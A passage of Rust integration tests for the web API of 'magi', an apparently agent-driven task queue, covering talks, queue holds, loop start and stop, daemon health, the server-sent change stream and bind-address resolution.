4382        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4383        let queue = f.queue();
4384        let mut mine = Task::new(
4385            "rename the loader".to_owned(),
4386            "rename the loader".to_owned(),
4387            PathBuf::from("/repo/magi"),
4388            Source::Agent {
4389                run: talk_id.clone(),
4390                node: "chat".to_owned(),
4391            },
4392        );
4393        queue.put(&mut mine).expect("file the task");
4394        let mut theirs = Task::new(
4395            "unrelated".to_owned(),
4396            "unrelated".to_owned(),
4397            PathBuf::from("/repo/magi"),
4398            Source::Human,
4399        );
4400        queue.put(&mut theirs).expect("file the task");
4401
4402        let res = f.get(&format!("/api/talks/{talk_id}")).await;
4403        assert_eq!(res.status, 200, "{}", res.body);
4404        let body = res.json();
4405        assert_eq!(
4406            body["status"], "open",
4407            "filing a task does not close a talk"
4408        );
4409        let tasks = body["tasks"].as_array().expect("tasks array");
4410        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4411        assert_eq!(tasks[0]["id"], mine.id);
4412    }
4413
4414    #[tokio::test]
4415    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4416        let (_tmp, _repo, f) = talk_fixture().await;
4417        let id = f.post("/api/talks", None).await.json()["id"]
4418            .as_str()
4419            .expect("id")
4420            .to_owned();
4421
4422        let res = f
4423            .post(
4424                &format!("/api/talks/{id}/say"),
4425                Some(r#"{"text":"what does the queue module do?"}"#),
4426            )
4427            .await;
4428        assert_eq!(res.status, 202, "{}", res.body);
4429        let queued = res.json();
4430        let turns = queued["turns"].as_array().expect("turns array");
4431        assert_eq!(
4432            turns.len(),
4433            1,
4434            "the answer reflects only what is on disk the instant it is sent, \
4435             before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
4436             - has a chance to land: {queued}"
4437        );
4438        assert_eq!(turns[0]["who"], "operator");
4439        assert_eq!(turns[0]["body"], "what does the queue module do?");
4440
4441        let mut turns_after = 1;
4442        for _ in 0..200 {
4443            let detail = f.get(&format!("/api/talks/{id}")).await.json();
4444            turns_after = detail["turns"].as_array().expect("turns array").len();
4445            if turns_after == 2 {
4446                break;
4447            }
4448            tokio::time::sleep(Duration::from_millis(10)).await;
4449        }
4450        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4451    }
4452
4453    #[tokio::test]
4454    async fn talk_close_makes_the_talk_refuse_further_turns() {
4455        let f = Fixture::start().await;
4456        let id = seed_talk(&f, "20260904-014455-cd34", "open");
4457
4458        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4459        assert_eq!(closed.status, 200, "{}", closed.body);
4460        assert_eq!(closed.json()["status"], "closed");
4461
4462        // Idempotent: closing an already-closed talk is not an error.
4463        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4464        assert_eq!(closed_again.status, 200);
4465        assert_eq!(closed_again.json()["status"], "closed");
4466    }
4467
4468    #[tokio::test]
4469    async fn talks_never_appear_in_the_planning_chat_list() {
4470        let (_tmp, _repo, f) = talk_fixture().await;
4471
4472        let opened = f.post("/api/talks", None).await;
4473        assert_eq!(opened.status, 201, "{}", opened.body);
4474
4475        let chats = f.get("/api/chats").await.json();
4476        assert!(
4477            chats.as_array().unwrap().is_empty(),
4478            "a talk must never surface as a planning chat: {chats}"
4479        );
4480        let talks = f.get("/api/talks").await.json();
4481        assert_eq!(talks.as_array().unwrap().len(), 1);
4482    }
4483
4484    #[tokio::test]
4485    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4486        let f = Fixture::start().await;
4487        let queue = f.queue();
4488        let mut task = Task::new(
4489            "spent".to_owned(),
4490            "Try again".to_owned(),
4491            PathBuf::from("/repo/magi"),
4492            Source::Human,
4493        );
4494        task.start("20260902-140502-bbbb".to_owned());
4495        task.fail("agent gave up", 9);
4496        queue.put(&mut task).expect("file the task");
4497
4498        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4499        assert_eq!(held.status, 200);
4500        assert_eq!(held.json()["status_str"], "held");
4501
4502        let released = f
4503            .post(&format!("/api/queue/{}/release", task.id), None)
4504            .await;
4505        assert_eq!(released.status, 200);
4506        assert_eq!(released.json()["status_str"], "queued");
4507        assert_eq!(
4508            released.json()["attempts"],
4509            0,
4510            "release is a real second chance, not an instant re-hold"
4511        );
4512        assert_eq!(
4513            queue.get(&task.id).expect("reload").status,
4514            TaskStatus::Queued,
4515            "the change is on disk, not only in the reply"
4516        );
4517        assert!(
4518            !f.home
4519                .path()
4520                .join("queue")
4521                .join(format!("{}.lock", task.id))
4522                .exists(),
4523            "the claim the mutation took is released again"
4524        );
4525    }
4526
4527    #[tokio::test]
4528    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4529        let f = Fixture::start().await;
4530        let queue = f.queue();
4531        let mut task = Task::new(
4532            "busy".to_owned(),
4533            "Running right now".to_owned(),
4534            PathBuf::from("/repo/magi"),
4535            Source::Human,
4536        );
4537        queue.put(&mut task).expect("file the task");
4538        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4539
4540        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4541
4542        assert_eq!(res.status, 409);
4543        assert_eq!(
4544            queue.get(&task.id).expect("reload").status,
4545            TaskStatus::Queued,
4546            "the refused hold changed nothing"
4547        );
4548    }
4549
4550    #[tokio::test]
4551    async fn unknown_ids_are_json_not_found_on_both_stores() {
4552        let f = Fixture::start().await;
4553
4554        let run = f.get("/api/runs/nosuchrun").await;
4555        let task = f.post("/api/queue/nosuchtask/hold", None).await;
4556
4557        assert_eq!(run.status, 404);
4558        assert_eq!(task.status, 404);
4559        assert!(
4560            run.json()["error"]
4561                .as_str()
4562                .is_some_and(|e| e.contains("run")),
4563            "the error names what was not found: {}",
4564            run.body
4565        );
4566        assert!(
4567            task.json()["error"]
4568                .as_str()
4569                .is_some_and(|e| e.contains("task")),
4570            "the error names what was not found: {}",
4571            task.body
4572        );
4573    }
4574
4575    #[tokio::test]
4576    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4577        let f = Fixture::start().await;
4578
4579        let missing = f.get("/api/health").await.json();
4580        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4581
4582        write_daemon(
4583            f.home.path(),
4584            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4585        );
4586        let stale = f.get("/api/health").await.json();
4587        assert_eq!(
4588            stale["daemon"]["running"], false,
4589            "a minute without a heartbeat is a dead daemon, not a busy one"
4590        );
4591        assert!(
4592            stale["daemon"]["stale_for_secs"]
4593                .as_i64()
4594                .is_some_and(|s| s >= 55),
4595            "staleness is reported so the UI can say how long: {stale}"
4596        );
4597
4598        write_daemon(f.home.path(), Timestamp::now());
4599        let fresh = f.get("/api/health").await.json();
4600        assert_eq!(fresh["daemon"]["running"], true);
4601        assert_eq!(fresh["daemon"]["idle"], false);
4602        assert_eq!(fresh["daemon"]["pid"], 4242);
4603        assert_eq!(fresh["daemon"]["completed"], 7);
4604        assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4605        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4606    }
4607
4608    #[tokio::test]
4609    async fn the_loop_is_not_running_until_something_starts_it() {
4610        let f = Fixture::start().await;
4611
4612        let view = f.get("/api/loop").await.json();
4613        assert_eq!(view["running"], false);
4614        assert_eq!(
4615            view["owned"], false,
4616            "nobody owns a loop that does not exist: {view}"
4617        );
4618        assert_eq!(view["stopping"], false);
4619        assert_eq!(view["last_error"], Value::Null);
4620        assert_eq!(view["daemon"]["running"], false);
4621        assert_eq!(
4622            view["repo"], "/repo/magi",
4623            "the repository a start would use, named before it is started"
4624        );
4625    }
4626
4627    #[tokio::test]
4628    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4629        let f = Fixture::start().await;
4630
4631        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4632        assert_eq!(res.status, 200, "{}", res.body);
4633        let view = res.json();
4634        assert_eq!(view["running"], true);
4635        assert_eq!(
4636            view["owned"], true,
4637            "the loop the UI started is the UI's own to stop: {view}"
4638        );
4639        assert_eq!(
4640            view["merge"],
4641            Value::Null,
4642            "no override was given, so each repository's own config decides"
4643        );
4644
4645        // The same object from the route a waking phone polls first. Two
4646        // surfaces disagreeing about whether anything is running is exactly
4647        // the confusion this UI exists to remove.
4648        let health = f.get("/api/health").await.json();
4649        assert_eq!(health["loop"]["running"], true, "{health}");
4650        assert_eq!(health["loop"]["owned"], true, "{health}");
4651
4652        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4653    }
4654
4655    #[tokio::test]
4656    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4657        let f = Fixture::start().await;
4658        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4659        assert_eq!(first.status, 200, "{}", first.body);
4660
4661        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4662        assert_eq!(
4663            again.status, 409,
4664            "two loops on one queue race for the same claims: {}",
4665            again.body
4666        );
4667        assert!(
4668            again.json()["error"]
4669                .as_str()
4670                .is_some_and(|e| e.contains("already running the loop")),
4671            "the refusal has to say why: {}",
4672            again.body
4673        );
4674        assert_eq!(
4675            f.get("/api/loop").await.json()["running"],
4676            true,
4677            "and the loop that was already running is untouched by it"
4678        );
4679
4680        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4681    }
4682
4683    #[tokio::test]
4684    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4685        let f = Fixture::start().await;
4686        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4687
4688        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4689        assert_eq!(
4690            res.status, 200,
4691            "the answer must not wait for the loop: a run in flight is tens of \
4692             minutes and the operator is holding a phone: {}",
4693            res.body
4694        );
4695
4696        let view = settled(&f, |v| v["running"] == false).await;
4697        assert_eq!(view["owned"], false);
4698        assert_eq!(
4699            view["stopping"], false,
4700            "a loop that has stopped is not still stopping: {view}"
4701        );
4702        assert_eq!(
4703            view["last_error"],
4704            Value::Null,
4705            "a loop that was asked to stop did not fail: {view}"
4706        );
4707
4708        // Idempotent, because the operator cannot tell a slow stop from a lost
4709        // one and will press it again.
4710        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4711        assert_eq!(twice.status, 200, "{}", twice.body);
4712    }
4713
4714    #[tokio::test]
4715    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4716        let f = Fixture::start().await;
4717        // How the operator has been doing it: a `magi serve` of their own,
4718        // heartbeat fresh, in the same home this UI reads.
4719        write_daemon(f.home.path(), Timestamp::now());
4720
4721        let view = f.get("/api/loop").await.json();
4722        assert_eq!(view["running"], false, "not in this process: {view}");
4723        assert_eq!(view["owned"], false, "and not this process's to control");
4724        assert_eq!(
4725            view["daemon"]["running"], true,
4726            "but a loop is alive somewhere, which is what the UI must say"
4727        );
4728        assert_eq!(view["daemon"]["pid"], 4242);
4729
4730        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4731            let res = f.post("/api/loop", Some(body)).await;
4732            assert_eq!(
4733                res.status, 409,
4734                "neither button may pretend to work on someone else's loop: {}",
4735                res.body
4736            );
4737            assert!(
4738                res.json()["error"]
4739                    .as_str()
4740                    .is_some_and(|e| e.contains("4242")),
4741                "the refusal has to name the process the operator must go to: {}",
4742                res.body
4743            );
4744        }
4745        assert_eq!(
4746            f.get("/api/loop").await.json()["running"],
4747            false,
4748            "and the refusal started nothing"
4749        );
4750    }
4751
4752    #[tokio::test]
4753    async fn a_stale_status_file_is_not_a_foreign_owner() {
4754        let f = Fixture::start().await;
4755        write_daemon(
4756            f.home.path(),
4757            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4758        );
4759
4760        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4761        assert_eq!(
4762            res.status, 200,
4763            "a daemon killed a minute ago must not lock the loop out of its \
4764             own home for good: {}",
4765            res.body
4766        );
4767        assert_eq!(res.json()["running"], true);
4768
4769        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4770    }
4771
4772    #[tokio::test]
4773    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4774        let f = Fixture::start().await;
4775        let before = f.get("/api/health").await.json()["loop_rev"]
4776            .as_u64()
4777            .expect("a loop revision");
4778
4779        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4780
4781        let after = f.get("/api/health").await.json()["loop_rev"]
4782            .as_u64()
4783            .expect("a loop revision");
4784        assert!(
4785            after > before,
4786            "the loop is in-process state, so this counter is the only thing \
4787             that tells a second device the first one started it: {before} -> \
4788             {after}"
4789        );
4790
4791        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4792    }
4793
4794    #[tokio::test]
4795    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4796        let f = Fixture::with_loop(launch_broken).await;
4797
4798        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4799        assert_eq!(
4800            res.status, 200,
4801            "starting it is not the failure: {}",
4802            res.body
4803        );
4804
4805        let view = settled(&f, |v| v["last_error"].is_string()).await;
4806        assert_eq!(
4807            view["running"], false,
4808            "a loop that died must not read as running, or the operator has \
4809             nothing to press: {view}"
4810        );
4811        assert_eq!(view["owned"], false);
4812        assert!(
4813            view["last_error"]
4814                .as_str()
4815                .is_some_and(|e| e.contains("read-only file system")),
4816            "the phone is where a loop that died at 3am is visible: {view}"
4817        );
4818
4819        // And it can be started again: the corpse was reaped, not left to
4820        // occupy the slot.
4821        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4822        assert_eq!(again.status, 200, "{}", again.body);
4823        assert_eq!(
4824            again.json()["last_error"],
4825            Value::Null,
4826            "a fresh start does not keep showing why the last one died"
4827        );
4828    }
4829
4830    /// An upgrade parks the run in flight before it restarts, and a park waits
4831    /// for the node - up to `timeout_implement`, an hour by default. The deck
4832    /// has to answer for all of it: the operator has just been told a run is
4833    /// finishing first, and this address is the only place that says how it is
4834    /// going. It did not, once - the listener went with the `select!` arm that
4835    /// began the handover, and the phone got `Cannot reach magi: Failed to
4836    /// fetch` for the rest of the wave.
4837    ///
4838    /// The other half is the older rule: the address must be free *before* the
4839    /// successor is started, or it dies on "address already in use" with its
4840    /// stdio sent to null and the deck never comes back.
4841    #[tokio::test]
4842    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
4843        let home = TempDir::new().expect("temp home");
4844        let runs = home.path().join("runs");
4845        std::fs::create_dir_all(&runs).expect("runs dir");
4846        let ui = Ui::new(
4847            Queue::at(home.path().join("queue")),
4848            Questions::at(home.path().join("questions")),
4849            Chats::at(home.path().join("chats")),
4850            Talks::at(home.path().join("talks")),
4851            runs,
4852            home.path().to_path_buf(),
4853            PathBuf::from("/repo/magi"),
4854        )
4855        .with_worktrees_root(home.path().join("wt"))
4856        .with_launch(launch_knocking_on_the_way_out);
4857        let looping = ui.looping();
4858        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4859            .await
4860            .expect("bind loopback");
4861        let addr = listener.local_addr().expect("local addr");
4862        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
4863        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
4864
4865        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
4866        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
4867
4868        // The successor's whole job, and the one thing it cannot do while this
4869        // process still holds the socket.
4870        let bound = std::sync::Mutex::new(None);
4871        hand_over(&looping, served, || {
4872            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
4873            *bound.lock().expect("bound") = Some(attempt);
4874            Ok(())
4875        })
4876        .await
4877        .expect("hand over");
4878
4879        assert_eq!(
4880            *PARK_HEARD.lock().expect("park heard"),
4881            Some(200),
4882            "the deck must answer while the loop is parking"
4883        );
4884        let attempt = bound
4885            .lock()
4886            .expect("bound")
4887            .take()
4888            .expect("the successor was started");
4889        assert!(
4890            attempt.is_ok(),
4891            "and the address must be free by the time it is: {attempt:?}"
4892        );
4893    }
4894
4895    #[tokio::test]
4896    async fn a_newer_daemon_status_file_still_renders() {
4897        let f = Fixture::start().await;
4898        // A field this build has never heard of must not turn the status line
4899        // into a 500; that is the whole reason the reader is permissive.
4900        std::fs::write(
4901            f.home.path().join("daemon.json"),
4902            serde_json::json!({
4903                "schema": 2,
4904                "updated_at": Timestamp::now().to_string(),
4905                "idle": true,
4906                "surprise": { "nested": [1, 2, 3] },
4907            })
4908            .to_string(),
4909        )
4910        .expect("write daemon.json");
4911
4912        let health = f.get("/api/health").await;
4913
4914        assert_eq!(health.status, 200);
4915        assert_eq!(health.json()["daemon"]["running"], true);
4916    }
4917
4918    #[tokio::test]
4919    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4920        let f = Fixture::start().await;
4921        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4922        let broken = f.runs().join("20260902-140502-bad");
4923        std::fs::create_dir_all(&broken).expect("run dir");
4924        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4925
4926        let list = f.get("/api/runs").await;
4927        let detail = f.get("/api/runs/20260902-140502-bad").await;
4928
4929        assert_eq!(list.status, 200);
4930        let listed = list.json();
4931        let ids: Vec<&str> = listed
4932            .as_array()
4933            .expect("an array")
4934            .iter()
4935            .map(|r| r["id"].as_str().expect("an id"))
4936            .collect();
4937        assert_eq!(
4938            ids,
4939            vec!["20260902-140501-good"],
4940            "one unreadable run must not cost the operator the whole history"
4941        );
4942        assert_eq!(detail.status, 500);
4943        assert!(
4944            detail.json()["error"]
4945                .as_str()
4946                .is_some_and(|e| e.contains("run.json")),
4947            "the failure names the file to look at: {}",
4948            detail.body
4949        );
4950        // A skipped run has to be countable somewhere, or the UI shows an
4951        // empty history with nothing to explain it - which is exactly what a
4952        // directory full of older-schema runs looks like.
4953        let health = f.get("/api/health").await;
4954        assert_eq!(health.json()["runs_unreadable"], 1);
4955    }
4956
4957    #[tokio::test]
4958    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4959        let f = Fixture::start().await;
4960        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4961
4962        let summary = f.get("/api/runs").await.json();
4963        let row = &summary[0];
4964        assert_eq!(row["short"], "a1b2");
4965        assert_eq!(row["status"], "ready");
4966        assert_eq!(row["done"], true);
4967        assert_eq!(row["title"], "Add a web UI");
4968        assert_eq!(row["repo_name"], "magi");
4969        assert_eq!(row["judges"], 3);
4970        assert_eq!(row["winner"], Value::Null);
4971        assert_eq!(row["reviews"], 0);
4972
4973        // The short id resolves, and the detail route is the state itself, not
4974        // a projection of it: the UI reads fields the summary does not carry.
4975        let detail = f.get("/api/runs/a1b2").await;
4976        assert_eq!(detail.status, 200);
4977        assert_eq!(detail.json()["base_branch"], "main");
4978        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4979    }
4980
4981    #[tokio::test]
4982    async fn the_run_list_is_newest_first_and_honours_a_limit() {
4983        let f = Fixture::start().await;
4984        for id in [
4985            "20260902-140501-aaaa",
4986            "20260902-140502-bbbb",
4987            "20260902-140503-cccc",
4988        ] {
4989            write_run(&f.runs(), id, RunStatus::Merged);
4990        }
4991
4992        let all = f.get("/api/runs").await.json();
4993        let capped = f.get("/api/runs?limit=2").await.json();
4994
4995        assert_eq!(all[0]["id"], "20260902-140503-cccc");
4996        assert_eq!(all.as_array().map(Vec::len), Some(3));
4997        assert_eq!(capped.as_array().map(Vec::len), Some(2));
4998        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4999    }
5000
5001    #[tokio::test]
5002    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5003        let f = Fixture::start().await;
5004        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5005
5006        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5007
5008        assert_eq!(res.status, 200);
5009        assert!(
5010            res.headers
5011                .contains("content-type: text/plain; charset=utf-8"),
5012            "a browser must render it, not download it: {}",
5013            res.headers
5014        );
5015        // The assertion is on content, not on the absence of escapes: colour
5016        // is a process-global that `serve` turns off at startup, and another
5017        // test in this binary may own it while this one runs.
5018        assert!(
5019            res.body.contains("20260902-140501-a1b2"),
5020            "the report is about the run that was asked for: {}",
5021            res.body
5022        );
5023    }
5024
5025    #[tokio::test]
5026    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5027        let f = Fixture::start().await;
5028
5029        let html = f.get("/").await;
5030        let css = f.get("/app.css").await;
5031        let js = f.get("/app.js").await;
5032
5033        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5034        assert!(
5035            html.headers
5036                .contains("content-type: text/html; charset=utf-8")
5037        );
5038        assert!(css.headers.contains("content-type: text/css"));
5039        assert!(js.headers.contains("content-type: text/javascript"));
5040        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5041    }
5042
5043    #[tokio::test]
5044    async fn the_change_stream_announces_the_current_revisions_on_connect() {
5045        let f = Fixture::start().await;
5046
5047        let mut socket = tokio::net::TcpStream::connect(f.addr)
5048            .await
5049            .expect("connect");
5050        socket
5051            .write_all(
5052                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5053            )
5054            .await
5055            .expect("write request");
5056
5057        // Read until the first event arrives rather than to end of stream: the
5058        // stream is endless by design, which is the point of the route.
5059        let mut seen = String::new();
5060        let mut buf = [0u8; 1024];
5061        while !seen.contains("event: change") {
5062            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5063                .await
5064                .expect("the stream must speak within five seconds")
5065                .expect("read");
5066            assert!(read > 0, "the server closed the change stream: {seen}");
5067            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5068        }
5069
5070        assert!(
5071            seen.to_lowercase()
5072                .contains("content-type: text/event-stream"),
5073            "the browser only reconnects automatically for a real SSE stream: {seen}"
5074        );
5075        let data = seen
5076            .lines()
5077            .find_map(|l| l.strip_prefix("data:"))
5078            .expect("a data line");
5079        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5080        assert!(
5081            payload["queue_rev"].is_u64()
5082                && payload["runs_rev"].is_u64()
5083                && payload["questions_rev"].is_u64()
5084                && payload["chats_rev"].is_u64()
5085                && payload["talks_rev"].is_u64()
5086                && payload["loop_rev"].is_u64(),
5087            "the client needs one revision per store to know what to refetch, \
5088             and `chats_rev` / `talks_rev` are the only notification a slow \
5089             interview or a standing talk get - a phone whose radio slept \
5090             through a turn learns about it here, as does one whose operator \
5091             started the loop from another device: {payload}"
5092        );
5093
5094        // The front end re-polls health on a timer and on wake, and takes the
5095        // revisions from that answer whenever the stream is not up. So health
5096        // has to carry every key the stream carries: a phone on a link that
5097        // will not hold an SSE connection is exactly the phone that must still
5098        // notice a question, and a missing key there is not a 500 but a UI
5099        // that quietly stops updating.
5100        let health = f.get("/api/health").await.json();
5101        for key in [
5102            "queue_rev",
5103            "runs_rev",
5104            "questions_rev",
5105            "chats_rev",
5106            "talks_rev",
5107            "loop_rev",
5108        ] {
5109            assert!(
5110                health[key].is_u64(),
5111                "health is the change stream's fallback and is missing `{key}`: {health}"
5112            );
5113        }
5114    }
5115
5116    #[tokio::test]
5117    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5118        let f = Fixture::start().await;
5119        let before = f.get("/api/health").await.json()["talks_rev"]
5120            .as_u64()
5121            .expect("talks_rev");
5122
5123        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5124        std::thread::sleep(Duration::from_millis(10));
5125        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5126        on_disk.turns.push(crate::talk::Turn {
5127            who: crate::talk::Who::Operator,
5128            body: "a new turn".to_owned(),
5129            at: Timestamp::now(),
5130        });
5131        f.talks().put(&mut on_disk).expect("record a turn");
5132
5133        let after = f.get("/api/health").await.json()["talks_rev"]
5134            .as_u64()
5135            .expect("talks_rev");
5136        assert_ne!(
5137            before, after,
5138            "a phone must be able to notice a talk's reply without polling every store"
5139        );
5140    }
5141
5142    #[test]
5143    fn bind_reads_back_from_the_spelling_the_cli_prints() {
5144        // The CLI shows the default in `--help` and parses whatever comes
5145        // back, so the two directions have to agree or `--bind auto` breaks
5146        // the moment someone copies the help text.
5147        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5148            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5149        }
5150        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5151        assert!("everywhere".parse::<Bind>().is_err());
5152    }
5153
5154    #[test]
5155    fn an_explicit_bind_address_is_taken_verbatim() {
5156        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5157
5158        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5159
5160        assert_eq!(addr, asked);
5161        assert!(
5162            warning.is_none(),
5163            "an operator who named an address gets no lecture"
5164        );
5165    }
5166
5167    #[test]
5168    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5169        let (addr, warning) = resolve_bind(&Bind::Auto);
5170
5171        // This has to hold on a CI runner with no `tailscale` and on a dev box
5172        // with one, so the invariant asserted is the one shared by both
5173        // outcomes: the address is either a real tailnet address offered
5174        // without comment, or loopback with an explanation. What must never
5175        // happen is a silent fallback - an operator told "listening on
5176        // 127.0.0.1" with no reason would go looking for a firewall.
5177        match addr {
5178            IpAddr::V4(ip) if is_tailnet(&ip) => {
5179                assert!(warning.is_none(), "a tailnet address needs no warning");
5180            }
5181            other => {
5182                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5183                let warning = warning.expect("a fallback has to explain itself");
5184                assert!(
5185                    warning.contains("127.0.0.1") && warning.contains("local-only"),
5186                    "the warning says what happened and what it costs: {warning}"
5187                );
5188            }
5189        }
5190    }
5191
5192    #[test]
5193    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
5194        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
5195        // boundary cases are what stop us binding to some other tool's idea of
5196        // an address.
5197        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
5198        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
5199        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
5200        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
5201        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
5202    }
5203
5204    #[test]
5205    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
5206        let ids = vec![
5207            "20260902-140501-aaaa".to_owned(),
5208            "20260902-140502-aabb".to_owned(),
5209        ];
5210
5211        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
5212        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
5213        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
5214
5215        assert_eq!(missing.status, StatusCode::NOT_FOUND);
5216        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
5217        assert_eq!(short, "20260902-140502-aabb");
5218    }
5219    #[tokio::test]
5220    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
5221        // The prompt tells agents to reference attachments by bare filename.
5222        // A document served at `.../panel` resolves `shot.png` against its own
5223        // directory, i.e. `.../shot.png`, which is not the asset route - so a
5224        // panel written exactly as instructed showed broken images. Caught by
5225        // looking at a real one in a browser, not by reading the code.
5226        let fx = Fixture::start().await;
5227        let id = panel(
5228            &fx,
5229            "<img src=\"shot.png\">",
5230            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
5231        );
5232
5233        // The frame's own URL ends in a filename, so its siblings are reachable.
5234        let doc = fx
5235            .get(&format!("/api/questions/{id}/panel/index.html"))
5236            .await;
5237        assert_eq!(doc.status, 200, "{}", doc.body);
5238        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
5239
5240        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
5241        assert_eq!(sibling.status, 200, "{}", sibling.body);
5242        assert_eq!(sibling.header("content-type"), Some("image/png"));
5243        assert_eq!(
5244            sibling.header("content-security-policy"),
5245            Some(PANEL_CSP),
5246            "the sibling route must carry the same policy as the asset route"
5247        );
5248
5249        // The original spelling keeps working: HEAD on it is how the front end
5250        // decides whether to mount a frame at all.
5251        assert_eq!(
5252            fx.head(&format!("/api/questions/{id}/panel")).await.status,
5253            200
5254        );
5255    }
5256
5257    #[test]
5258    fn runs_revision_moves_when_deleting_an_older_run() {
5259        let temp = TempDir::new().expect("tempdir");
5260        let runs = temp.path().join("runs");
5261        std::fs::create_dir_all(&runs).expect("create runs dir");
5262
5263        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
5264
5265        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
5266        std::thread::sleep(Duration::from_millis(10));
5267        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
5268
5269        let rev_before = runs_revision(&runs);
5270        assert!(rev_before > 0);
5271
5272        let old_dir = runs.join("20260901-100000-old1");
5273        std::fs::remove_dir_all(&old_dir).expect("remove old run");
5274
5275        let rev_after = runs_revision(&runs);
5276        assert_ne!(
5277            rev_before, rev_after,
5278            "deleting an older run must change the revision so other clients see the deletion"
5279        );
5280    }
5281
5282    #[tokio::test]
5283    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
5284        let fx = Fixture::start().await;
5285        let q = fx.queue();
5286
5287        // 1. A queued task with runs attached can be deleted.
5288        let mut t1 = Task::new(
5289            "Task 1".to_owned(),
5290            "Instruction 1".to_owned(),
